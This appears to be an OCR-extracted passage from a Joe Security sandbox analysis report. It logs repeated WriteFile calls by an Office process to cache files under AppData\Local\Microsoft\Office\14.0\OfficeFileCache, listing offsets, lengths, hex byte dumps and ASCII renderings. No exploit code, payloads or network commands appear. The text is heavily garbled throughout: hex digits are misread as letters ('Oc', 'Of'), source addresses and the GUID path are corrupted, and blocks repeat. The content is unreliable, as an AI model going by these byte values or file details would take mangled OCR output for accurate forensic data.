MeFyz))aelL7zgS,XFFaq
Ecl)<"57}7KGQAEXXXX

H@bq

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Oc fd 91 fd 1b fd 4d fd 65 MeFyz]qL1)S,XFFagk&@ success or wait
46 79 fd fd fd 7a fd 5d fd  y>"I~7MSWxxxx*

fd 71 fd fd 4c fd fd fd fd Oc
3129 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
Se 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

Count Source Address

1 TFEEE917A59
1 TFEEE917A59
1 TFEEE917A59
1 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

76

512

512

1536

Length Value

40

65024

1024

16

fd 6b 17 fd 14 1f 26 40 fd
fd 79 fd fd 86 3e Of 00 00
00 00 00 00 00 fd 5e 71
fd d0 4a fd 7e fd fd 03 fd
37 4d

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 fd e5 35 8e 32 41 fd fd
fd fd fd 7f fd fd 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 fd e5 35 8e 32 41 fd fd
fd fd fd 7f fd fd 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Ascii

K&@y>"I~7TM

zVvV
@pGsqQ9Ga gbpG52A

zv
@pGsqQ9Ga’ qbpG52A

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1

2

1

1

TFEEE917A59

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

0

76

2560

2576

1552

4096

Length Value

512 Oc fd 91 fd 1b fd 4d fd 65 MeFyz]qL1)S,XFFagk&@ success or wait

46 79 fd fd fd 7a fd 5d fd
fd 71 fd fd 4c fd fd fd fd Oc
31 29 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
5e 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

40 fd 6b 17 fd 14 1f 26 40 fd

fd 79 fd fd 86 3e Of 00 00
00 00 00 00 00 fd 5e 71
fd d0 4a fd 7e fd fd 03 fd
37 4d

fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 05 fd 00 fd 40 03
07 fd fd 0d fd fd fd fd 4a
fd fd 2c 03 fd fd 9f 01 00
00 00 01 05 00 01 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd 47 07 10 fd fd 09
fd fd 2e 4d 4c fd 5f 03 73
fd 5d fd 01 00 00 00 01
06 00 03 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd
57 07 Ob fd fd fd fd 04 67
66 4c fd 74 15 fd 1d fd 72
fd 01 00 00 00 01 07 00
04 00 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd 62 07
Ob 47 03 2f fd 4f Ob 24 44
fd 21 fd 75 fd 2f fd fd 01
00 00 00 01 07 00 07 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
07 60 fd fd fd fd fd fd 04
67 66 4c fd 74 15 fd 1d fd
72 fd 01 00 00 00 05 fd
00 fd 6d 07 24 fd fd 26 fd

4 03 10 fd fd

24 10 00 00 00 01 00 00 00

11 00 00 00 01 00 00 00
01 00 00 00 68 fd fd 28

Ascii Completion

y>"NJ~TMSWxXXx*

k&@y>"J~7M success or wait

ZV@J,G.ML_s]WgfLtrbG/ success or wait
O$D!u/ gfLtrm$&

success or wait

h( success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
2 TFEEE917A59
i 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

Copyright Joe Security LLC 2022

Offset

0

0

16

18

20

21

Length Value

512

512

16

92

Ascii

Completion

Oc fd 91 fd 1b fd 4d fd 65 MeFyz]qL1)S,XFFagk&@ success or wait

46 79 fd fd fd 7a fd 5d fd
fd 71 fd fd 4c fd fd fd fd Oc
31 29 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
5e 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 5d fd
fd 71 fd fd 4c fd fd fd fd Oc
31 29 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
5e 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

fd fd 48 al fd 40 fd 06 fd
fd 62 fd 12 71

Oc 00

18 fd

5d

46 00 53 00 44 00 2d 00
7b 00 39 00 35 00 30 00
31 00 38 00 35 00 43 00
31 00 2d 00 44 00 30 00
3300 42 00 2d 00 34 00
33 00 45 00 45 00 2d 00
39 00 42 00 39 00 43 00
2d 00 44 00 30 00 43 00
44 00 46 00 46 00 38 00
39 00 38 00 33 00 35 00
3500 7d 00 2e 00 46 00
53 00 44 00

y>"NJ~TMSWxXXx*

MeFyz]qL1)S,XFFagk&@  success or wait

y>NI~TMSWxXXXX*

H@bq

FSD-{950185C1-D03B-
43EE-9B9C-D
O0CDFF898355}.FSD

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59
1 7FEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

113

76

6656

6712

2580

1576

Length Value

1 05

40 fd 6b 17 fd 14 1f 26 40 fd
fd 79 fd fd 86 3e 0f 00 00
00 00 00 00 00 fd 5e 71
fd d0 4a fd 7e fd fd 03 fd
37 4d

51 fd 36 27 fd fd 17 41 fd fd
7b 67 06 fd 13 0d 03 00
02 00 fd 00 40 20 3c 22
fd 3b fd 75 48 4d fd 72 36
5c 1e 75 28 fd 0a 03 00
00 3e 03 00 00 fd 01 49

4096 fd fd fd fd fd 7a 56 fd 12
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd fd Od
fd fd fd fd 4a fd fd 2c 03 fd
fd 9f 01 00 00 00 02 00
00 00 00 00 00 00 fd 3b
04 02 fd 65 66 48 fd fd 6b
06 13 58 fd 2c 01 00 00
00 06 00 fd fd fd fd fd 04
67 66 4c fd 74 15 fd 1d fd
72 fd 01 00 00 00 05 00
00 00 00 00 00 00 fd 3b
04 02 fd 65 66 48 fd fd 6b
06 13 58 fd 2c 03 00 00
00 06 00 fd 47 03 2f fd 4f
Ob 24 44 fd 21 fd 75 fd 2f
fd fd 01 00 00 00 08 00
00 00 00 00 00 00 fd 3b
04 02 fd 65 66 48 fd fd 6b
06 13 58 fd 2c 03 00 00
00 06 00 fd fd 71 fd 5f 55
fd 5d 42 fd 75 1a 26 5a
3e fd 6a 01 00 00 00 Of
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd 00 7d fd fd
2d fd 15 4b fd 7e fd 29 fd
Oe 41 fd 01 00 00 00 13
00 00

50 05 fd 00 fd 40 03 07 fd fd
0d fd fd fd fd 4a fd fd 2c
03 fd fd 9f 01 00 00 00 01
05 00 01 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00

32 10 00 00 00 02 00 00 00
11 00 00 00 02 00 00 00
12 00 00 00 02 00 00 00
01 00 00 00 fd 3a 61 fd

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 5d fd
fd 71 fd fd 4c fd fd fd fd Oc
3129 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
5e 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

Ascii

k&@y>"I~TM

6A{g@ <";uHMr6\u(>I

zVJ,;efHkX,gfLtr;efHkX,G
/O$D!u
1;,efHkX,q_U]Bu&Z>j;efHk
X }FK~)A

@J,

MeFyz]qL1)S, XFFagk&@
y>NI~TMSWxXXXX*

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
3 TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

76

10808

14904

15032

10824

1608

Length Value

40

4096

122

81

56

40

fd 6b 17 fd 14 1f 26 40 fd
fd 79 fd fd 86 3e Of 00 00
00 00 00 00 00 fd 5e 71
fd d0 4a fd 7e fd fd 03 fd
37 4d

fd fd fd fd fd 7a 56 fd 13
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd fd 09
fd fd 2e 4d 4c fd 5f 03 73
fd 5d fd 01 00 00 00 06
00 00 00 00 00 00 00 30
fd fd 4d fd 4d 43 4f fd 59
fd 1c fd 70 06 65 01 00
00 00 06 00 fd 49 fd 01
75 74 fd 4d fd fd 50 fd b2
54 fd 01 00 00 00 10 00
00 00 00 00 00 00 3c 7e
2f fd f0 31 49 fd fd 70 61
fd 1a 1a fd 01 00 00 00
06 20 fd fd fd fd 26 fd 70
7e 05 41 fd fd 33 07 fd fd
fd 05 00 00 00 11 00 00
00 00 00 00 00 fd fd 84 fd
fd 0d 4a fd fd 52 Oc 77 fd
70 73 01 00 00 00 fd 6f
17 fd fd 2c fd 4c fd fd fd fd
fd fd fd 6a 01 00 00 00 06
00 fd fd fd 30 3b 17 07 2e
Af fd fd fd fd Ob fd 71 01
00 00 00 1c 00 00 00 00
00 00 00 fd fd fd fd 2e fd
fd 48 fd 50 31 fd 38 4c 65
01 00 00 00 06 20 fd fd
4d 23 fd

ea 69 49 01 Oc 56 Oc fd fd
09 fd fd 2e 4d 4c fd 5f 03
73 fd 5d fd fd 43 fd fd fd
2d fd fd 41 fd 40 fd fd 54
fd fd 01 00 00 00 00 00
00 00 05 60 20 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 38 66 14
fd fd 84 fd fd 0d 4a fd fd
52 0c 77 fd 70 73 Oc fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 Oc fd 6f 17 fd
fd 2c fd 4c fd fd fd fd fd fd
fd 6a 05

3e 03 00 00 54 27 Oc fd
fd 09 fd fd 2e 4d 4c fd 5f
03 73 fd 5d fd 79 00 6a
03 00 00 58 53 51 fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 01 00 00 00
fd 6f 17 fd fd 2c fd 4c fd fd
fd fd fd fd fd 6a 01 00 00
00 fd 54 07 00 00 00 fd fd
01

03 10 fd fd 06 00 fd fd fd
09 fd fd 2e 4d 4c fd 5f 03
73 fd 5d fd 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01000000 75 75 fd fd

Ascii Completion

k&@y>"J~7M success or wait

zV.ML_s]OMMCOYpelut  success or wait
MPT<~/1llpa
&p~A3JRwpso,Lj0;.0q.H

P18e M#

iIV.ML_s]C-A@T" success or wait

8fJIRwpsJRwpso,Lj

>T'.ML_s]yjXSQJRwpso, = success or wait
LjT

.ML_s]OMMCOYpe success or wait

uu success or wait

Count Source Address

1

1

1

2

4

1

TFEEE917A59

TFEEE917A59

7TFEEE917A59

TFEEE917A59

TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

0

76

15208

15752

Length Value

Ascii

Completion

512 Oc fd 91 fd 1b fd 4d fd 65 MeFyz]qL1)S,XFFagk&@ success or wait

46 79 fd fd fd 7a fd 5d fd
fd 71 fd fd 4c fd fd fd fd Oc
31 29 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
5e 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00

40 fd 6b 17 fd 14 1f 26 40 fd
fd 79 fd fd 86 3e Of 00 00
00 00 00 00 00 fd 5e 71
fd d0 4a fd 7e fd fd 03 fd
37 4d

284 ea 69 49 01 Oc 56 Oc fd fd
26 fd 70 7e 05 41 fd fd 33
07 fd fd fd fd 33 fd 44 fd
fd 4e 3e 4c fd 7e 49 fd Oe
5a fd 4f 03 00 00 00 00
00 00 00 Ob fd 00 fd 32 fd
fd fd 5b fd fd Ob 01 43 fd
fd 3f fd f9 30 fd 01 00 00
11 03 fd Ob 00 75 fd 00 fd
00 fd 01 Ob Oc 6¢ 33 76 fd
fd fd 48 fd 03 fd 4a 6e fd
fd 63 Oc fd fd 3d 2b 11 fd
3542 fd fd fd 5¢ 0d 5¢ 42
fd Oc 5d 0d fd fd 05 fd fd
4e fd 16 60 fd 43 fd fd 74
Oc 3e 46 3d fd fd fd 2c 4a
fd Oc 72 77 40 fd 28 Oc fd
78 fd 7f f5 59 49 fd 1a fd
65 fd fd 7e 42 00 fd 05 00
00 00 00 00 00 00 10 00
00 00 1b 3b 7a fd fd fd 49
fd fd fd 57 fd 03 fd 2a 10
00 00 00 64 4f 28 16 fd fd
15 40 fd fd fd 39 44 b6 fd
10 00 00 00 16 fd fd 48 fd
56 30 4f fd 30 fd 11 11 fd
02 fd 10 00 00 00 fd fd 14
42 0f fd 35 42 fd

70 ea 69 49 01 Oc 56 2c fd fd
26 fd 70 7e 05 41 fd fd 33
07 fd fd fd fd 33 fd 44 fd
fd 4e 3e 4c fd 7e 49 fd Oe
5a fd 4f 08 00 00 00 00
00 00 00 07 58 22 Oc 3¢
7e 2f fd fO 31 49 fd fd 70
61 fd 1a 1a fd 05

y>NJ~TMSWxXXX*

k&@y>"I~7M

iIV&p~A33DN>L~IZO2[C
?0ul3vHJInc
=+5B\B]N'Ct>F=,Jw@(x
Yle~B;zIW
*dO(@9DHV000B5B

ilV,&p~A33DN>L~IZOX"
<~/1lpa

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
3 7TFEEE917A59
4 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-{950185C1-D03B-43EE-
9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

2804

16568

1648

16608

76

Length Value

Ascii

Completion

398 05 fd 00 fd 6d 07 24 fd fd = m$&pP~A3&p~A3&p~A3&  success or wait

26 fd 70 7e 05 41 fd fd 33
07 fd fd fd 01 00 00 00 01
04 00 09 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
07 0f fd fd 26 fd 70 7e 05
41 fd fd 33 07 fd fd fd 02
00 00 00 01 06 00 0a 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 07 11 fd fd
26 fd 70 7e 05 41 fd fd 33
07 fd fd fd 03 00 00 00 01
06 00 Ob 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
07 09 fd fd 26 fd 70 7e 05
41 fd fd 33 07 fd fd fd 05
00 00 00 01 02 00 Oc 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 07 15 49 fd
01 75 74 fd 4d fd fd 50 fd
b2 54 fd 01 00 00 00 01
00 00 0d 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd

40 10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 00 00 00 cb fd fd

32 11 00 00 00 Of 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 18 fd fd fd

32 11 00 00 00 Of 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 fd fd 13 fd

p~A3IutMPT

success or wait

success or wait

success or wait

512 Oc fd 91 fd 1b fd 4d fd 65 MeFyz]qL1)S,XFFagk&@ success or wait

46 79 fd fd fd 7a fd 5d fd  y>"I~7MSWxxxx*

fd 71 fd fd 4c fd fd fd fd Oc
31 29 fd 53 2c¢ fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 fd 6b 17 fd 14 1f 26
40 fd fd 79 fd fd 86 3e Of
00 00 00 00 00 00 00 fd
5e 71 fd d0 4a fd 7e fd fd
03 fd 37 4d 00 53 00 00
00 00 00 00 00 04 00 00
02 00 00 00 fd fd fd fd fd
fd fd fd 00 00 00 00 00 00
00 00 00 00 00 00 00 57
00 00 00 00 00 00 00 02
00 00 00 00 00 00 00 04
00 00 00 00 02 00 00 00
00 00 04 00 00 00 fd 78
fd Of fd 78 fd Of fd 78 fd Of
fd 78 fd Of 2a 00 00 00 00
00 00 00 fd 14 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
